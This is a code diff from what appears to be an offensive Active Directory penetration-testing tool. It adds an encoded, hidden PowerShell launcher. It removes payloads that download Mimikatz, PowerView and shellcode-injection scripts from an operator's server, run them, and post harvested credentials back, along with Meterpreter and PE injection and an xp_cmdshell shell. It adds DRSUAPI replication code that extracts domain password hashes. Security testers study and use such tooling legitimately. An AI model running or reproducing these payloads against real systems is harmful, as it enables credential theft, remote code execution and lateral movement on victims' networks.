print_error("{}:{} {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()
except NetBIOSError as e:
print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()
except DCERPCException as e:
print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
if settings.args.verbose: traceback.print_exc()
except socket.error as e:
if settings.args.verbose: print_error(str(e))
return

41
core/helpers.py Normal file
View File

@ -0,0 +1,41 @@
import random
import string
import re
from base64 import b64encode
from termcolor import colored
def gen_random_string(length=10):
return ''.join(random.sample(string.ascii_letters, int(length)))
def obfs_ps_script(script, function_name=None):
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
If the function_name paramater is passed, replace the main powershell function name with it
"""
if function_name:
function_line = script.split('\n', 1)[0]
if function_line.find('function') != -1:
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
# strip block comments
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
# strip blank lines, lines starting with #, and verbose/debug statements
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
return strippedCode
def create_ps_command(ps_command, force_ps32=False):
ps_command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + ps_command
if force_ps32:
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
elif not force_ps32:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
return command
def highlight(text, color='yellow'):
if color == 'yellow':
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
elif color == 'red':
return u'{}'.format(colored(text, 'red', attrs=['bold']))

View File

@ -4,9 +4,8 @@ import re
from termcolor import colored
from datetime import datetime
if sys.platform == 'win32':
import colorama
colorama.init()
#The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
#There must be a better way of doing this...
ansi_escape = re.compile(r'\x1b[^m]*m')
@ -20,19 +19,37 @@ def antiansi_emit(self, record):
logging.FileHandler.emit = antiansi_emit
####################################################################
class CMEAdapter(logging.LoggerAdapter):
def __init__(self, logger, extra, action=None):
def __init__(self, logger, extra=None):
self.logger = logger
self.extra = extra
self.action = action
def process(self, msg, kwargs):
return u'{} {}:{} {:<10} {}'.format(colored(self.extra['service'], 'blue', attrs=['bold']),
self.extra['host'],
self.extra['port'],
self.extra['hostname'],
msg), kwargs
if self.extra is None:
return u'{}'.format(msg), kwargs
#If the logger is being called when hooking the 'options' module function
if len(self.extra) == 1 and ('module' in self.extra.keys()):
return u'{:<59} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs
#If the logger is being called from CMEServer
if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()):
return u'{:<25} {:<33} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs
#If the logger is being called from the main Connector function
if 'module' in self.extra.keys():
module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
else:
module_name = colored('CME', 'blue', attrs=['bold'])
return u'{:<25} {}:{} {:<15} {}'.format(module_name,
self.extra['host'],
self.extra['port'],
self.extra['hostname'] if self.extra['hostname'] else 'NONE',
msg), kwargs
def info(self, msg, *args, **kwargs):
msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs)
@ -40,68 +57,58 @@ class CMEAdapter(logging.LoggerAdapter):
def error(self, msg, *args, **kwargs):
msg, kwargs = self.process(u'{} {}'.format(colored("[-]", 'red', attrs=['bold']), msg), kwargs)
self.logger.info(msg, *args, **kwargs)
self.logger.error(msg, *args, **kwargs)
def debug(self, msg, *args, **kwargs):
pass
def success(self, msg, *args, **kwargs):
msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs)
self.logger.info(msg, *args, **kwargs)
def results(self, msg, *args, **kwargs):
def highlight(self, msg, *args, **kwargs):
msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs)
self.logger.info(msg, *args, **kwargs)
#For impacket's tds library
def logMessage(self, message):
self.results(message)
self.highlight(message)
def setup_logger(target, level=logging.INFO):
def setup_debug_logger():
debug_output_string = "%(asctime)s {:<59} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold']))
formatter = logging.Formatter(debug_output_string, datefmt="%m-%d-%Y %H:%M:%S")
streamHandler = logging.StreamHandler(sys.stdout)
streamHandler.setFormatter(formatter)
root_logger = logging.getLogger()
root_logger.propagate = False
root_logger.addHandler(streamHandler)
#root_logger.addHandler(fileHandler)
root_logger.setLevel(logging.DEBUG)
return root_logger
def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'):
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%m-%d-%Y %H:%M:%S")
fileHandler = logging.FileHandler('./logs/{}_{}.log'.format(target.replace('/', '_'), datetime.now().strftime('%Y-%m-%d')))
fileHandler.setFormatter(formatter)
if log_to_file:
if not log_prefix:
log_prefix = 'log'
log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d'))
fileHandler = logging.FileHandler('./logs/{}'.format(log_filename))
fileHandler.setFormatter(formatter)
streamHandler = logging.StreamHandler(sys.stdout)
streamHandler.setFormatter(formatter)
if level == logging.DEBUG:
root_logger = logging.getLogger()
root_logger.propagate = False
root_logger.addHandler(streamHandler)
root_logger.addHandler(fileHandler)
root_logger.setLevel(level)
cme_logger = logging.getLogger('CME')
cme_logger = logging.getLogger(logger_name)
cme_logger.propagate = False
cme_logger.addHandler(streamHandler)
cme_logger.addHandler(fileHandler)
if log_to_file:
cme_logger.addHandler(fileHandler)
cme_logger.setLevel(level)
def print_error(message):
print colored("[-] ", 'red', attrs=['bold']) + message
def print_info(message):
print colored("[*] ", 'blue', attrs=['bold']) + message
def print_success(message):
print colored("[+] ", 'green', attrs=['bold']) + message
def print_results(message):
print colored(message, 'yellow', attrs=['bold'])
def print_message(message):
print message
def yellow(text):
return colored(text, 'yellow', attrs=['bold'])
def green(text):
return colored(text, 'green', attrs=['bold'])
def blue(text):
return colored(text, 'blue', attrs=['bold'])
def red(text):
return colored(text, 'red', attrs=['bold'])
def shutdown(exit_code):
print_info('KTHXBYE!')
sys.exit(int(exit_code))
return cme_logger

View File

@ -1,25 +1,23 @@
#!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-TDS] & [MC-SQLR] example.
#
# Author:
# Alberto Solino (beto@coresecurity.com/@agsolino)
#
# Reference for:
# Structure
#
import os
import cmd
from impacket import tds
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
#We hook these functions in the tds library to use CME's logger instead of printing the output to stdout
#The whole tds library in impacket needs a good overhaul to preserve my sanity
def printRowsCME(self):
if self.lastError is True:
return
out = ''
self.processColMeta()
#self.printColumnsHeader()
for row in self.rows:
for col in self.colMeta:
if row[col['Name']] != 'NULL':
out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n'
return out
def printRepliesCME(self):
for keys in self.replies.keys():
for i, key in enumerate(self.replies[keys]):
@ -54,64 +52,4 @@ def printRepliesCME(self):
self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
tds.MSSQL.printReplies = printRepliesCME
class SQLSHELL(cmd.Cmd):
def __init__(self, SQL, logger):
cmd.Cmd.__init__(self)
self.sql = SQL
self.logger = logger
self.prompt = 'SQL> '
self.intro = '[!] Press help for extra shell commands'
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
! {cmd} - executes a local shell cmd
"""
def do_shell(self, s):
os.system(s)
def do_xp_cmdshell(self, s, noOutput=False):
try:
self.do_enable_xp_cmdshell('')
self.sql.sql_query("exec master..xp_cmdshell '%s'" % s)
self.logger.success('Executed command via XP_CMDSHELL')
if noOutput is False:
self.sql.printReplies()
self.sql.colMeta[0]['TypeData'] = 80*2
self.sql.printRows()
self.do_disable_xp_cmdshell('')
except:
if noOutput is True:
self.sql.printReplies()
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
def do_enable_xp_cmdshell(self, line):
self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
def do_disable_xp_cmdshell(self, line):
self.sql.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;")
def default(self, line):
try:
self.sql.sql_query(line)
self.sql.printReplies()
self.sql.printRows()
except:
pass
def emptyline(self):
pass
def do_exit(self, line):
return True
tds.MSSQL.printRows = printRowsCME

View File

@ -1,204 +0,0 @@
from base64 import b64encode
import logging
import settings
def ps_command(command, arch):
logging.info('PS command to be encoded: ' + command)
if settings.args.server == 'https':
logging.info('Disabling certificate checking for the following PS command: ' + command)
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
if arch == 32:
logging.info('Forcing the following command to execute in a 32bit PS process: ' + command)
command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
elif arch == 64 or arch == 'auto':
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
logging.info('Full PS command: ' + command)
return command
class PowerShell:
"""
https://www.youtube.com/watch?v=nm6DO_7px1I
"""
def __init__(self, server, localip):
self.localip = localip
self.protocol = server
self.arch = settings.args.ps_arch
self.func_name = settings.obfs_func_name
def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command '{katz_command}';
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();""".format(protocol=self.protocol,
port=settings.args.server_port,
func_name=self.func_name,
addr=self.localip,
katz_command=command)
if self.arch == 'auto':
return ps_command(command, 64)
else:
return ps_command(command, int(self.arch))
def gpp_passwords(self):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Get-GPPPassword.ps1');
$output = Get-{func_name} | Out-String;
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();""".format(protocol=self.protocol,
func_name=self.func_name,
port=settings.args.server_port,
addr=self.localip)
if self.arch == 'auto':
return ps_command(command, 64)
else:
return ps_command(command, int(self.arch))
def powerview(self, command):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/PowerView.ps1');
$output = {view_command} | Out-String;
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();""".format(protocol=self.protocol,
port=settings.args.server_port,
addr=self.localip,
view_command=command)
if self.arch == 'auto':
return ps_command(command, 64)
else:
return ps_command(command, int(self.arch))
def token_enum(self):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-TokenManipulation.ps1');
$output = Invoke-{func_name} -Enumerate | Out-String;
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();""".format(protocol=self.protocol,
func_name=self.func_name,
port=settings.args.server_port,
addr=self.localip)
if self.arch == 'auto':
return ps_command(command, 64)
else:
return ps_command(command, int(self.arch))
def inject_meterpreter(self):
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
command = """
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
$SumTest = $False
while ($SumTest -eq $False)
{{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}}
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$True}}
$RequestUri = -join $GeneratedUri
$Request = "{}://{}:{}/$($RequestUri)"
$WebClient = New-Object System.Net.WebClient
[Byte[]]$bytes = $WebClient.DownloadData($Request)
Invoke-{} -Force -Shellcode $bytes""".format(self.protocol,
self.localip,
settings.args.server_port,
settings.args.inject.split('_')[-1],
settings.args.met_options[0],
settings.args.met_options[1],
self.func_name)
if settings.args.procid:
command += " -ProcessID {}".format(settings.args.procid)
if self.arch == 'auto':
return ps_command(command, 32)
else:
return ps_command(command, int(self.arch))
def inject_shellcode(self):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-Shellcode.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}:{port}/{shellcode}');
Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol,
port=settings.args.server_port,
func_name=self.func_name,
addr=self.localip,
shellcode=settings.args.path.split('/')[-1])
if settings.args.procid:
command += " -ProcessID {}".format(settings.args.procid)
command += ';'
if self.arch == 'auto':
return ps_command(command, 32)
else:
return ps_command(command, int(self.arch))
def inject_exe_dll(self):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}:{port}/Invoke-ReflectivePEInjection.ps1');
$WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}:{port}/{pefile}');
Invoke-{func_name} -PEBytes $bytes""".format(protocol=self.protocol,
port=settings.args.server_port,
func_name=self.func_name,
addr=self.localip,
pefile=settings.args.path.split('/')[-1])
if settings.args.procid:
command += " -ProcId {}"
if settings.args.inject == 'exe' and settings.args.exeargs:
command += " -ExeArgs \"{}\"".format(settings.args.exeargs)
command += ';'
if self.arch == 'auto':
return ps_command(command, 32)
else:
return ps_command(command, int(self.arch))

40
core/remotefile.py Normal file
View File

@ -0,0 +1,40 @@
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
class RemoteFile:
def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
self.__smbConnection = smbConnection
self.__share = share
self.__access = access
self.__fileName = fileName
self.__tid = self.__smbConnection.connectTree(share)
self.__fid = None
self.__currentOffset = 0
def open(self):
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess = self.__access)
def seek(self, offset, whence):
# Implement whence, for now it's always from the beginning of the file
if whence == 0:
self.__currentOffset = offset
def read(self, bytesToRead):
if bytesToRead > 0:
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
self.__currentOffset += len(data)
return data
return ''
def close(self):
if self.__fid is not None:
self.__smbConnection.closeFile(self.__tid, self.__fid)
self.__fid = None
def delete(self):
self.__smbConnection.deleteFile(self.__share, self.__fileName)
def tell(self):
return self.__currentOffset
def __str__(self):
return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)

View File

@ -1,83 +0,0 @@
from time import strftime, localtime
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
import settings
class RemoteFile:
def __init__(self, smbConnection, fileName, share='ADMIN$', access = FILE_READ_DATA | FILE_WRITE_DATA ):
self.__smbConnection = smbConnection
self.__share = share
self.__access = access
self.__fileName = fileName
self.__tid = self.__smbConnection.connectTree(share)
self.__fid = None
self.__currentOffset = 0
def open(self):
self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess = self.__access)
def seek(self, offset, whence):
# Implement whence, for now it's always from the beginning of the file
if whence == 0:
self.__currentOffset = offset
def read(self, bytesToRead):
if bytesToRead > 0:
data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
self.__currentOffset += len(data)
return data
return ''
def close(self):
if self.__fid is not None:
self.__smbConnection.closeFile(self.__tid, self.__fid)
self.__fid = None
def delete(self):
self.__smbConnection.deleteFile(self.__share, self.__fileName)
def tell(self):
return self.__currentOffset
def __str__(self):
return "\\\\{}\\{}\\{}".format(self.__smbConnection.getRemoteHost(), self.__share, self.__fileName)
class RemoteFileSystem:
def __init__(self, host, smbconnection, logger):
self.__host = host
self.__smbconnection = smbconnection
self.__logger = logger
def download(self):
out = open(settings.args.download[1], 'wb')
self.__smbconnection.getFile(settings.args.share, settings.args.download[0], out.write)
self.__logger.success("Downloaded file")
def upload(self):
up = open(settings.args.upload[0] , 'rb')
self.__smbconnection.putFile(settings.args.share, settings.args.upload[1], up.read)
self.__logger.success("Uploaded file")
def delete(self):
self.__smbconnection.deleteFile(settings.args.share, settings.args.delete)
self.__logger.success("Deleted file")
def list(self):
if settings.args.list == '.':
path = '*'
else:
path = settings.args.list + '/*'
dir_list = self.__smbconnection.listPath(settings.args.share.decode('utf-8'), path.decode('utf-8'))
#normalize output
if path == '*':
path = settings.args.share
elif path != '*':
path = settings.args.share + '/' + path[:-2]
self.__logger.success(u"Contents of {}:".format(path.decode('utf-8')))
for f in dir_list:
self.__logger.results(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-',
f.get_filesize(),
strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())),
f.get_longname()))

508
core/remoteoperations.py Normal file
View File

@ -0,0 +1,508 @@
import logging
import random
import string
from gevent import sleep
from impacket.dcerpc.v5 import transport, drsuapi, scmr, rrp, samr, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.dtypes import NULL
from core.credentials.ntds import NTDSHashes
from binascii import unhexlify, hexlify
from core.remotefile import RemoteFile
class RemoteOperations:
def __init__(self, smbConnection, doKerberos):
self.__smbConnection = smbConnection
self.__smbConnection.setTimeout(5*60)
self.__serviceName = 'RemoteRegistry'
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
self.__rrp = None
self.__regHandle = None
self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
self.__samr = None
self.__domainHandle = None
self.__domainName = None
self.__drsr = None
self.__hDrs = None
self.__NtdsDsaObjectGuid = None
self.__ppartialAttrSet = None
self.__prefixTable = []
self.__doKerberos = doKerberos
self.__bootKey = ''
self.__disabled = False
self.__shouldStop = False
self.__started = False
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
self.__scmr = None
self.__tmpServiceName = None
self.__serviceDeleted = False
self.__batchFile = '%TEMP%\\execute.bat'
self.__shell = '%COMSPEC% /Q /c '
self.__output = '%SYSTEMROOT%\\Temp\\__output'
self.__answerTMP = ''
def __connectSvcCtl(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
rpc.set_smb_connection(self.__smbConnection)
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
def __connectWinReg(self):
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
rpc.set_smb_connection(self.__smbConnection)
self.__rrp = rpc.get_dce_rpc()
self.__rrp.connect()
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
def connectSamr(self, domain):
rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
rpc.set_smb_connection(self.__smbConnection)
self.__samr = rpc.get_dce_rpc()
self.__samr.connect()
self.__samr.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(self.__samr)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
self.__domainHandle = resp['DomainHandle']
self.__domainName = domain
def __connectDrds(self):
stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpc.set_credentials(*(self.__smbConnection.getCredentials()))
rpc.set_kerberos(self.__doKerberos)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = self.__drsr.request(request)
if logging.getLogger().level == logging.DEBUG:
logging.debug('DRSBind() answer')
resp.dump()
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)
if logging.getLogger().level == logging.DEBUG:
logging.debug('DRSDomainControllerInfo() answer')
resp.dump()
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
logging.error("Couldn't get DC info for domain %s" % self.__domainName)
raise Exception('Fatal, aborting')
def getDrsr(self):
return self.__drsr
def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
if self.__drsr is None:
self.__connectDrds()
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def DRSGetNCChanges(self, userEntry):
if self.__drsr is None:
self.__connectDrds()
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
dsName['NameLen'] = len(userEntry)
dsName['StringName'] = (userEntry + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
if self.__ppartialAttrSet is None:
self.__prefixTable = []
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
self.__ppartialAttrSet['dwVersion'] = 1
self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)
for attId in NTDSHashes.ATTRTYP_TO_ATTID.values():
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
return self.__drsr.request(request)
def getDomainUsers(self, enumerationContext=0):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
try:
resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
userAccountControl=samr.USER_NORMAL_ACCOUNT | \
samr.USER_WORKSTATION_TRUST_ACCOUNT | \
samr.USER_SERVER_TRUST_ACCOUNT |\
samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
enumerationContext=enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
return resp
def ridToSid(self, rid):
if self.__samr is None:
self.connectSamr(self.getMachineNameAndDomain()[1])
resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
return resp['Sid']
def getMachineNameAndDomain(self):
if self.__smbConnection.getServerName() == '':
# No serverName.. this is either because we're doing Kerberos
# or not receiving that data during the login process.
# Let's try getting it through RPC
rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
rpc.set_smb_connection(self.__smbConnection)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(wkst.MSRPC_UUID_WKST)
resp = wkst.hNetrWkstaGetInfo(dce, 100)
dce.disconnect()
return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
else:
return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()
def getDefaultLoginAccount(self):
try:
ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
keyHandle = ans['phkResult']
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
username = dataValue[:-1]
dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
domain = dataValue[:-1]
rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
if len(domain) > 0:
return '%s\\%s' % (domain,username)
else:
return username
except:
return None
def getServiceAccount(self, serviceName):
try:
# Open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
serviceHandle = ans['lpServiceHandle']
resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
if account.startswith('.\\'):
account = account[2:]
return account
except Exception, e:
logging.error(e)
return None
def __checkServiceStatus(self):
# Open SC Manager
ans = scmr.hROpenSCManagerW(self.__scmr)
self.__scManagerHandle = ans['lpScHandle']
# Now let's open the service
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
self.__serviceHandle = ans['lpServiceHandle']
# Let's check its status
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
logging.info('Service %s is in stopped state'% self.__serviceName)
self.__shouldStop = True
self.__started = False
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
logging.debug('Service %s is already running'% self.__serviceName)
self.__shouldStop = False
self.__started = True
else:
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
# Let's check its configuration if service is stopped, maybe it's disabled :s
if self.__started is False:
ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
